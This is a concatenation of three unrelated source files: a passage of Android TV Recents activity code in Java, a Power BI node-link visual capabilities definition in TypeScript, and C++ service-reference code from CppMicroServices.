        if (mTaskStackViewAdapter == null) {
            mTaskStackViewAdapter = new TaskStackHorizontalViewAdapter(stackTasks);
            mTaskStackHorizontalGridView = mRecentsView
                    .setTaskStackViewAdapter(mTaskStackViewAdapter);
            mHomeRecentsEnterExitAnimationHolder = new HomeRecentsEnterExitAnimationHolder(
                    getApplicationContext(), mTaskStackHorizontalGridView);
        } else {
            mTaskStackViewAdapter.setNewStackTasks(stackTasks);
        }
        mRecentsView.init(stack);

        if (launchState.launchedToTaskId != -1) {
            ArrayList<Task> tasks = stack.getStackTasks();
            int taskCount = tasks.size();
            for (int i = 0; i < taskCount; i++) {
                Task t = tasks.get(i);
                if (t.key.id == launchState.launchedToTaskId) {
                    t.isLaunchTarget = true;
                    break;
                }
            }
        }
    }

    boolean dismissRecentsToLaunchTargetTaskOrHome(boolean animate) {
        SystemServicesProxy ssp = Recents.getSystemServices();
        if (ssp.isRecentsActivityVisible()) {
            // If we have a focused Task, launch that Task now
            if (mRecentsView.launchPreviousTask(animate)) {
              return true;
            }
            // If none of the other cases apply, then just go Home
            dismissRecentsToHome(animate /* animateTaskViews */);
        }
        return false;
    }

    boolean dismissRecentsToFocusedTaskOrHome() {
        SystemServicesProxy ssp = Recents.getSystemServices();
        if (ssp.isRecentsActivityVisible()) {
            // If we have a focused Task, launch that Task now
            if (mRecentsView.launchFocusedTask()) return true;
            // If none of the other cases apply, then just go Home
            dismissRecentsToHome(true /* animateTaskViews */);
            return true;
        }
        return false;
    }

    void dismissRecentsToHome(boolean animateTaskViews) {
        Runnable closeSystemWindows = new Runnable() {
            @Override
            public void run() {
                Recents.getSystemServices().sendCloseSystemWindows(
                        BaseStatusBar.SYSTEM_DIALOG_REASON_HOME_KEY);
            }
        };
        DismissRecentsToHomeAnimationStarted dismissEvent =
                new DismissRecentsToHomeAnimationStarted(animateTaskViews);
        dismissEvent.addPostAnimationCallback(mFinishLaunchHomeRunnable);
        dismissEvent.addPostAnimationCallback(closeSystemWindows);

        if (mTaskStackHorizontalGridView.getChildCount() > 0 && animateTaskViews) {
            mHomeRecentsEnterExitAnimationHolder.startExitAnimation(dismissEvent);
        } else {
            closeSystemWindows.run();
            mFinishLaunchHomeRunnable.run();
        }
    }

    boolean dismissRecentsToHomeIfVisible(boolean animated) {
        SystemServicesProxy ssp = Recents.getSystemServices();
        if (ssp.isRecentsActivityVisible()) {
            // Return to Home
            dismissRecentsToHome(animated);
            return true;
        }
        return false;
    }

    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        mFinishedOnStartup = false;

        // In the case that the activity starts up before the Recents component has initialized
        // (usually when debugging/pushing the SysUI apk), just finish this activity.
        SystemServicesProxy ssp = Recents.getSystemServices();
        if (ssp == null) {
            mFinishedOnStartup = true;
            finish();
            return;
        }
        mPipRecentsOverlayManager = PipManager.getInstance().getPipRecentsOverlayManager();

        // Register this activity with the event bus
        EventBus.getDefault().register(this, EVENT_BUS_PRIORITY);

        mPackageMonitor = new RecentsPackageMonitor();
        mPackageMonitor.register(this);

        // Set the Recents layout
        setContentView(R.layout.recents_on_tv);

        mRecentsView = (RecentsTvView) findViewById(R.id.recents_view);
        mRecentsView.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE |
                View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN |
                View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION);

        mPipView = findViewById(R.id.pip);
        mPipView.setOnFocusChangeListener(mPipViewFocusChangeListener);
        // Place mPipView at the PIP bounds for fine tuned focus handling.
        Rect pipBounds = mPipManager.getRecentsFocusedPipBounds();
        LayoutParams lp = (LayoutParams) mPipView.getLayoutParams();
        lp.width = pipBounds.width();
        lp.height = pipBounds.height();
        lp.leftMargin = pipBounds.left;
        lp.topMargin = pipBounds.top;
        mPipView.setLayoutParams(lp);

        mPipRecentsOverlayManager.setCallback(mPipRecentsOverlayManagerCallback);

        getWindow().getAttributes().privateFlags |=
                WindowManager.LayoutParams.PRIVATE_FLAG_FORCE_DECOR_VIEW_VISIBILITY;

        // Create the home intent runnable
        Intent homeIntent = new Intent(Intent.ACTION_MAIN, null);
        homeIntent.addCategory(Intent.CATEGORY_HOME);
        homeIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK |
                Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED);
        homeIntent.putExtra(RECENTS_HOME_INTENT_EXTRA, true);
        mFinishLaunchHomeRunnable = new FinishRecentsRunnable(homeIntent);

        mPipManager.addListener(mPipListener);
    }

    @Override
    protected void onNewIntent(Intent intent) {
        super.onNewIntent(intent);
        setIntent(intent);
    }

    @Override
    public void onEnterAnimationComplete() {
        super.onEnterAnimationComplete();
        if(mLaunchedFromHome) {
            mHomeRecentsEnterExitAnimationHolder.startEnterAnimation(mPipManager.isPipShown());
        }
        EventBus.getDefault().send(new EnterRecentsWindowAnimationCompletedEvent());
    }

    @Override
    public void onResume() {
        super.onResume();
        mPipRecentsOverlayManager.onRecentsResumed();
        // Update the recent tasks
        updateRecentsTasks();

        // If this is a new instance from a configuration change, then we have to manually trigger
        // the enter animation state, or if recents was relaunched by AM, without going through
        // the normal mechanisms
        RecentsConfiguration config = Recents.getConfiguration();
        RecentsActivityLaunchState launchState = config.getLaunchState();
        boolean wasLaunchedByAm = !launchState.launchedFromHome &&
                !launchState.launchedFromApp;
        if (wasLaunchedByAm) {
            EventBus.getDefault().send(new EnterRecentsWindowAnimationCompletedEvent());
        }

        // Notify that recents is now visible
        SystemServicesProxy ssp = Recents.getSystemServices();
        EventBus.getDefault().send(new RecentsVisibilityChangedEvent(this, true));
        if(mTaskStackHorizontalGridView.getStack().getTaskCount() > 1 && !mLaunchedFromHome) {
            // If there are 2 or more tasks, and we are not launching from home
            // set the selected position to the 2nd task to allow for faster app switching
            mTaskStackHorizontalGridView.setSelectedPosition(1);
        } else {
            mTaskStackHorizontalGridView.setSelectedPosition(0);
        }
        mRecentsView.getViewTreeObserver().addOnPreDrawListener(this);

        View dismissPlaceholder = findViewById(R.id.dismiss_placeholder);
        mTalkBackEnabled = ssp.isTouchExplorationEnabled();
        if (mTalkBackEnabled) {
            dismissPlaceholder.setAccessibilityTraversalBefore(R.id.task_list);
            dismissPlaceholder.setAccessibilityTraversalAfter(R.id.dismiss_placeholder);
            mTaskStackHorizontalGridView.setAccessibilityTraversalAfter(R.id.dismiss_placeholder);
            mTaskStackHorizontalGridView.setAccessibilityTraversalBefore(R.id.pip);
            dismissPlaceholder.setOnClickListener(new View.OnClickListener() {
                @Override
                public void onClick(View v) {
                    mTaskStackHorizontalGridView.requestFocus();
                    mTaskStackHorizontalGridView.
                            sendAccessibilityEvent(AccessibilityEvent.TYPE_VIEW_FOCUSED);
                    Task focusedTask = mTaskStackHorizontalGridView.getFocusedTask();
                    if (focusedTask != null) {
                        mTaskStackViewAdapter.removeTask(focusedTask);
                        EventBus.getDefault().send(new DeleteTaskDataEvent(focusedTask));
                    }
                }
            });
        }

        // Initialize PIP UI
        if (mPipManager.isPipShown()) {
            if (mTalkBackEnabled) {
                // If talkback is on, use the mPipView to handle focus changes
                // between recents row and PIP controls.
                mPipView.setVisibility(View.VISIBLE);
            } else {
                mPipView.setVisibility(View.GONE);
            }
            // When PIP view has focus, recents overlay view will takes the focus
            // as if it's the part of the Recents UI.
            mPipRecentsOverlayManager.requestFocus(mTaskStackViewAdapter.getItemCount() > 0);
        } else {
            mPipView.setVisibility(View.GONE);
            mPipRecentsOverlayManager.removePipRecentsOverlayView();
        }
    }

    @Override
    public void onPause() {
        super.onPause();
        mPipRecentsOverlayManager.onRecentsPaused();
    }

    @Override
    protected void onStop() {
        super.onStop();

        mIgnoreAltTabRelease = false;
        // Notify that recents is now hidden
        EventBus.getDefault().send(new RecentsVisibilityChangedEvent(this, false));

        // Workaround for b/22542869, if the RecentsActivity is started again, but without going
        // through SystemUI, we need to reset the config launch flags to ensure that we do not
        // wait on the system to send a signal that was never queued.
        RecentsConfiguration config = Recents.getConfiguration();
        RecentsActivityLaunchState launchState = config.getLaunchState();
        launchState.reset();

        // Workaround for b/28333917.
        finish();
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();

        mPipManager.removeListener(mPipListener);
        // In the case that the activity finished on startup, just skip the unregistration below
        if (mFinishedOnStartup) {
            return;
        }

        // Unregister any broadcast receivers for the task loader
        mPackageMonitor.unregister();

        EventBus.getDefault().unregister(this);
    }

    @Override
    public void onTrimMemory(int level) {
        RecentsTaskLoader loader = Recents.getTaskLoader();
        if (loader != null) {
            loader.onTrimMemory(level);
        }
    }

    @Override
    public boolean onKeyDown(int keyCode, KeyEvent event) {
        switch (keyCode) {
            case KeyEvent.KEYCODE_DEL:
            case KeyEvent.KEYCODE_FORWARD_DEL: {
                EventBus.getDefault().send(new DismissFocusedTaskViewEvent());
                return true;
            }
            default:
                break;
        }
        return super.onKeyDown(keyCode, event);
    }

    @Override
    public void onUserInteraction() {
        EventBus.getDefault().send(new UserInteractionEvent());
    }

    @Override
    public void onBackPressed() {
        // Back behaves like the recents button so just trigger a toggle event
        EventBus.getDefault().send(new ToggleRecentsEvent());
    }

    /**** EventBus events ****/

    public final void onBusEvent(ToggleRecentsEvent event) {
        RecentsActivityLaunchState launchState = Recents.getConfiguration().getLaunchState();
        if (launchState.launchedFromHome) {
            dismissRecentsToHome(true /* animateTaskViews */);
        } else {
            dismissRecentsToLaunchTargetTaskOrHome(true);
        }
    }

    public final void onBusEvent(HideRecentsEvent event) {
        if (event.triggeredFromAltTab) {
            // If we are hiding from releasing Alt-Tab, dismiss Recents to the focused app
            if (!mIgnoreAltTabRelease) {
                dismissRecentsToFocusedTaskOrHome();
            }
        } else if (event.triggeredFromHomeKey) {
                dismissRecentsToHome(true /* animateTaskViews */);
        } else {
            // Do nothing
        }
    }

    public final void onBusEvent(CancelEnterRecentsWindowAnimationEvent event) {
        RecentsActivityLaunchState launchState = Recents.getConfiguration().getLaunchState();
        int launchToTaskId = launchState.launchedToTaskId;
        if (launchToTaskId != -1 &&
                (event.launchTask == null || launchToTaskId != event.launchTask.key.id)) {
            SystemServicesProxy ssp = Recents.getSystemServices();
            ssp.cancelWindowTransition(launchState.launchedToTaskId);
            ssp.cancelThumbnailTransition(getTaskId());
        }
    }

    public final void onBusEvent(DeleteTaskDataEvent event) {
        // Remove any stored data from the loader
        RecentsTaskLoader loader = Recents.getTaskLoader();
        loader.deleteTaskData(event.task, false);

        // Remove the task from activity manager
        SystemServicesProxy ssp = Recents.getSystemServices();
        ssp.removeTask(event.task.key.id);
    }

    public final void onBusEvent(AllTaskViewsDismissedEvent event) {
        if (mPipManager.isPipShown()) {
            mRecentsView.showEmptyView();
            mPipRecentsOverlayManager.requestFocus(false);
        } else {
            dismissRecentsToHome(false);
        }
    }

    public final void onBusEvent(LaunchTaskFailedEvent event) {
        // Return to Home
        dismissRecentsToHome(true /* animateTaskViews */);
    }

    @Override
    public boolean onPreDraw() {
        mRecentsView.getViewTreeObserver().removeOnPreDrawListener(this);
        // Sets the initial values for enter animation.
        // Animation will be started in {@link #onEnterAnimationComplete()}
        if (mLaunchedFromHome) {
            mHomeRecentsEnterExitAnimationHolder
                    .setEnterFromHomeStartingAnimationValues(mPipManager.isPipShown());
        } else {
            mHomeRecentsEnterExitAnimationHolder
                    .setEnterFromAppStartingAnimationValues(mPipManager.isPipShown());
        }
        // We post to make sure that this information is delivered after this traversals is
        // finished.
        mRecentsView.post(new Runnable() {
            @Override
            public void run() {
                Recents.getSystemServices().endProlongedAnimations();
            }
        });
        return true;
    }

    private void updatePipUI() {
        if (!mPipManager.isPipShown()) {
            mPipRecentsOverlayManager.removePipRecentsOverlayView();
            mTaskStackHorizontalGridView.startFocusLossAnimation();
        } else {
            Log.w(TAG, "An activity entered PIP mode while Recents is shown");
        }
    }

    /**
     * Requests the focus to the PIP controls.
     * This starts the relevant recents row animation
     * and give focus to the recents overlay if needed.
     */
    public void requestPipControlsFocus() {
        if (!mPipManager.isPipShown()) {
            return;
        }

        mTaskStackHorizontalGridView.startFocusLossAnimation();
        mPipRecentsOverlayManager.requestFocus(mTaskStackViewAdapter.getItemCount() > 0);
    }
}


text:
/// <reference path="../_references.ts"/>

module powerbi.visuals {
    export var nodeLinkCapabilities: VisualCapabilities = {
        dataRoles: [
            {
                name: 'NodeFrom',
                displayName: 'Node From',
                kind: VisualDataRoleKind.Grouping,
            },
            {
                name: 'NodeTo',
                displayName: 'Node To',
                kind: VisualDataRoleKind.Grouping,
            },
            {
                name: 'Values',
                displayName: 'Strength of relationship',
                kind: VisualDataRoleKind.Measure,
            }
        ],
        dataViewMappings: [
            {
                categorical: {
                    categories: {
                        for: { in: 'NodeFrom' },
                        dataReductionAlgorithm: { top: {} }
                    },
                    values: {
                        group: {
                            by: 'NodeTo',
                            select: [{ for: { in: 'Values' } }],
                            dataReductionAlgorithm: { top: {} }
                        }
                    },
                    rowCount: { preferred: { min: 2 }, supported: { min: 0 } }
                },
            }
        ],
        objects: {
            nodeproperties: {
                displayName: "Node General",
                properties: {
                    defaultColor: {
                        description: "Specify the default colour for the nodes.",
                        type: { fill: { solid: { color: true } } },
                        displayName: "Default Color"
                    },
                    defaultRadius: {
                        description: "Specify the default size of a circle with its radius.",
                        type: { numeric: true },
                        displayName: "Default radius"
                    },
                    force: {
                        description: "The force between nodes. A negative value will repel nodes from each other. A positive value will attract the nodes together.",
                        type: { numeric: true },
                        displayName: "Force"
                    }
                }
            },
            nodelabels: {
                displayName: "Node Labels",
                properties: {
                    showLabels: {
                        description: "Specify true/false on whether to show labels on the nodes.",
                        type: { bool: true },
                        displayName: "Show labels"
                    },
                    fontSize: {
                        description: "Choose the font size for the labels on the nodes.",
                        type: { numeric: true },
                        displayName: "Font size"
                    }
                }
            },
            linkproperties: {
                displayName: "Link General",
                properties: {
                    highlightColor: {
                        description: "Specify the highlight colour for links.",
                        type: { fill: { solid: { color: true } } },
                        displayName: "Highlight Color"
                    },
                    defaultColor: {
                        description: "Specify the default colour for links.",
                        type: { fill: { solid: { color: true } } },
                        displayName: "Default Color"
                    },
                    linkDistance: {
                        description: "A links distance between each node.",
                        type: { numeric: true },
                        displayName: "Distance"
                    },
                    minThickness: {
                        description: "Minimum thickness of the link to scale from. Units are in pixels",
                        type: { numeric: true },
                        displayName: "Min (px) Thick"
                    },
                    maxThickness: {
                        description: "Maximum thickness of the link to scale from. Units are in pixels",
                        type: { numeric: true },
                        displayName: "Max (px) Thick"
                    }
                }
            },
            linkdatalabels: {
                displayName: "Link Data Labels",
                properties: {
                    showLabels: {
                        description: "Specify true/false on whether to show labels on each link.",
                        type: { bool: true },
                        displayName: "Show labels"
                    },
                    fontSize: {
                        description: "Choose the font size for the labels on each link.",
                        type: { numeric: true },
                        displayName: "Font size"
                    }
                }
            }
        }
    }
}


text:
#include "usServiceReferenceBasePrivate.h"

#include "usServiceFactory.h"
#include "usServiceException.h"
#include "usServiceRegistry_p.h"
#include "usServiceRegistrationBasePrivate.h"

#include "usModule.h"
#include "usModulePrivate.h"

#include <usCoreModuleContext_p.h>

#include <cassert>

#ifdef _MSC_VER
#pragma warning(disable:4503) // decorated name length exceeded, name was truncated
#endif

US_BEGIN_NAMESPACE

ServiceReferenceBasePrivate::ServiceReferenceBasePrivate(ServiceRegistrationBasePrivate* reg)
  : ref(1), registration(reg)
{
  if(registration) registration->ref.Ref();
}

ServiceReferenceBasePrivate::~ServiceReferenceBasePrivate()
{
  if (registration && !registration->ref.Deref())
    delete registration;
}

InterfaceMap ServiceReferenceBasePrivate::GetServiceFromFactory(Module* module,
                                                                ServiceFactory* factory,
                                                                bool isModuleScope)
{
  assert(factory && "Factory service pointer is nullptr");
  InterfaceMap s;
  try
  {
    InterfaceMap smap = factory->GetService(module,
                                            ServiceRegistrationBase(registration));
    if (smap.empty())
    {
      US_WARN << "ServiceFactory produced null";
      return smap;
    }
    const std::vector<std::string>& classes =
        ref_any_cast<std::vector<std::string> >(registration->properties.Value(ServiceConstants::OBJECTCLASS()));
    for (std::vector<std::string>::const_iterator i = classes.begin();
         i != classes.end(); ++i)
    {
      if (smap.find(*i) == smap.end() && *i != "org.cppmicroservices.factory")
      {
        US_WARN << "ServiceFactory produced an object "
                   "that did not implement: " << (*i);
        smap.clear();
        return smap;
      }
    }
    s = smap;

    if (isModuleScope)
    {
      registration->moduleServiceInstance.insert(std::make_pair(module, smap));
    }
    else
    {
      registration->prototypeServiceInstances[module].push_back(smap);
    }
  }
  catch (...)
  {
    US_WARN << "ServiceFactory threw an exception";
    s.clear();
  }
  return s;
}

InterfaceMap ServiceReferenceBasePrivate::GetPrototypeService(Module* module)
{
  InterfaceMap s;
  {
    MutexLock lock(registration->propsLock);
    if (registration->available)
    {
      ServiceFactory* factory = reinterpret_cast<ServiceFactory*>(
            registration->GetService("org.cppmicroservices.factory"));
      s = GetServiceFromFactory(module, factory, false);
    }
  }
  return s;
}

void* ServiceReferenceBasePrivate::GetService(Module* module)
{
  void* s = nullptr;
  {
    MutexLock lock(registration->propsLock);
    if (registration->available)
    {
      ServiceFactory* serviceFactory = reinterpret_cast<ServiceFactory*>(
            registration->GetService("org.cppmicroservices.factory"));

      const int count = registration->dependents[module];
      if (count == 0)
      {
        if (serviceFactory)
        {
          const InterfaceMap im = GetServiceFromFactory(module, serviceFactory, true);
          s = im.find(interfaceId)->second;
        }
        else
        {
          s = registration->GetService(interfaceId);
        }
      }
      else
      {
        if (serviceFactory)
        {
          // return the already produced instance
          s = registration->moduleServiceInstance[module][interfaceId];
        }
        else
        {
          s = registration->GetService(interfaceId);
        }
      }

      if (s)
      {
        registration->dependents[module] = count + 1;
      }
    }
  }
  return s;
}

InterfaceMap ServiceReferenceBasePrivate::GetServiceInterfaceMap(Module* module)
{
  InterfaceMap s;
  {
    MutexLock lock(registration->propsLock);
    if (registration->available)
    {
      ServiceFactory* serviceFactory = reinterpret_cast<ServiceFactory*>(
            registration->GetService("org.cppmicroservices.factory"));

      const int count = registration->dependents[module];
      if (count == 0)
      {
        if (serviceFactory)
        {
          s = GetServiceFromFactory(module, serviceFactory, true);
        }
        else
        {
          s = registration->service;
        }
      }
      else
      {
        if (serviceFactory)
        {
          // return the already produced instance
          s = registration->moduleServiceInstance[module];
        }
        else
        {
          s = registration->service;
        }
      }

      if (!s.empty())
      {
        registration->dependents[module] = count + 1;
      }
    }
  }
  return s;
}

bool ServiceReferenceBasePrivate::UngetPrototypeService(Module* module, const InterfaceMap& service)
{
  MutexLock lock(registration->propsLock);

  ServiceRegistrationBasePrivate::ModuleToServicesMap::iterator iter =
      registration->prototypeServiceInstances.find(module);
  if (iter == registration->prototypeServiceInstances.end())
  {
    return false;
  }

  std::list<InterfaceMap>& prototypeServiceMaps = iter->second;

  for (std::list<InterfaceMap>::iterator imIter = prototypeServiceMaps.begin();
       imIter != prototypeServiceMaps.end(); ++imIter)
  {
    if (service == *imIter)
    {
      try
      {
        ServiceFactory* sf = reinterpret_cast<ServiceFactory*>(
                               registration->GetService("org.cppmicroservices.factory"));
        sf->UngetService(module, ServiceRegistrationBase(registration), service);
      }
      catch (const std::exception& /*e*/)
      {
        US_WARN << "ServiceFactory threw an exception";
      }
      prototypeServiceMaps.erase(imIter);
      if (prototypeServiceMaps.empty())
      {
        registration->prototypeServiceInstances.erase(iter);
      }
      return true;
    }
  }

  return false;
}

bool ServiceReferenceBasePrivate::UngetService(Module* module, bool checkRefCounter)
{
  MutexLock lock(registration->propsLock);
  bool hadReferences = false;
  bool removeService = false;

  int count= registration->dependents[module];
  if (count > 0)
  {
    hadReferences = true;
  }

  if(checkRefCounter)
  {
    if (count > 1)
    {
      registration->dependents[module] = count - 1;
    }
    else if(count == 1)
    {
      removeService = true;
    }
  }
  else
  {
    removeService = true;
  }

  if (removeService)
  {
    InterfaceMap sfi = registration->moduleServiceInstance[module];
    registration->moduleServiceInstance.erase(module);
    if (!sfi.empty())
    {
      try
      {
        ServiceFactory* sf = reinterpret_cast<ServiceFactory*>(
                               registration->GetService("org.cppmicroservices.factory"));
        sf->UngetService(module, ServiceRegistrationBase(registration), sfi);
      }
      catch (const std::exception& /*e*/)
      {
        US_WARN << "ServiceFactory threw an exception";
      }
    }
    registration->dependents.erase(module);
  }

  return hadReferences && removeService;
}

const ServicePropertiesImpl& ServiceReferenceBasePrivate::GetProperties() const
{
  return registration->properties;
}

Any ServiceReferenceBasePrivate::GetProperty(const std::string& key, bool lock) const
{
  if (lock)
  {
    MutexLock lock(registration->propsLock);
    return registration->properties.Value(key);
  }
  else
  {
    return registration->properties.Value(key);
  }
}

bool ServiceReferenceBasePrivate::IsConvertibleTo(const std::string& interfaceId) const
{
  return registration ? registration->service.find(interfaceId) != registration->service.end() : false;
}

US_END_NAMESPACE